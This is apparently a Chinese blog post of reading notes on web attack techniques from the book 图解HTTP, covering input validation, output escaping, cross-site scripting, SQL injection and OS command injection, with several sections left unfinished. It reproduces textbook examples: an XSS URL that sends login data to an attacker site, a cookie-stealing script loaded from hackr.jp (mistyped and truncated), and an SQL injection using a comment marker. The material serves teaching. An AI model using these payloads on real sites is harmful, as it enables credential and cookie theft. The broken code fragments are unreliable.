网络技术|图解http读书笔记六——web的攻击技术

因输出值转义不完全引发的安全漏洞

  • 客户端的验证
    javascript会在客户端验证数据,但是客户端允许篡改数据或者关闭javascript,不适合将javascript验证作为安全的防范对策。保留客户端验证知识为了尽早辨识输入错误,提高ui体验的作用
  • web服务端的验证
  • 输入值验证
    通常检查是否符合系统业务逻辑数值或者字符编码
  • 输出值转义
    从数据库或者文件系统,html,邮件等输出web应用处理的数据之际,针对输出做转义处理是一项关键的策略,当输出值转义不完全,会因为触发攻击者传入的攻击代码,而给输出对象带来伤害
    跨脚本攻击
  • 动态生成html处发生
    网络技术|图解http读书笔记六——web的攻击技术
    文章图片

    删除线并不会造成太大的不利,但是如果使用
http://example.jp/login?id=">

当用户在表单内输入用户和密码之后,就会发送到攻击者的网站,导致个人信息被窃取
源码对比
网络技术|图解http读书笔记六——web的攻击技术
文章图片

对用户cookie的窃取

该脚本指定的http://hackr.jp/xss.js文件。即下面这段采用javascript编写的代码
vat content=escapse(document.cookie); document.write("网络技术|图解http读书笔记六——web的攻击技术
文章图片

sql注入攻击
正常操作
网络技术|图解http读书笔记六——web的攻击技术
文章图片

url的查询字段已指定q=上野宣,这个值由web应用传入到sql语句,构成
select * from booktb1 where author='上野宣' and flag=1;

sql注入攻击的操作
网络技术|图解http读书笔记六——web的攻击技术
文章图片

生成sql语句
select * from booktb1 where author='上野宣'--' and flag=1;

‘–’后为注释,即后面的内容忽略了,
结果就会显示处不该显示的内容
此处如果是修改及非法浏览,用户会遭受不同程度损失
【网络技术|图解http读书笔记六——web的攻击技术】os命令注入攻击
指通过web应用,执行非法的操作系统命令达到攻击的目的
例子不赘述了。。。
http首部注入攻击
待。。
邮件首部注入
。。
目录遍历注入
。。。未完待续

    推荐阅读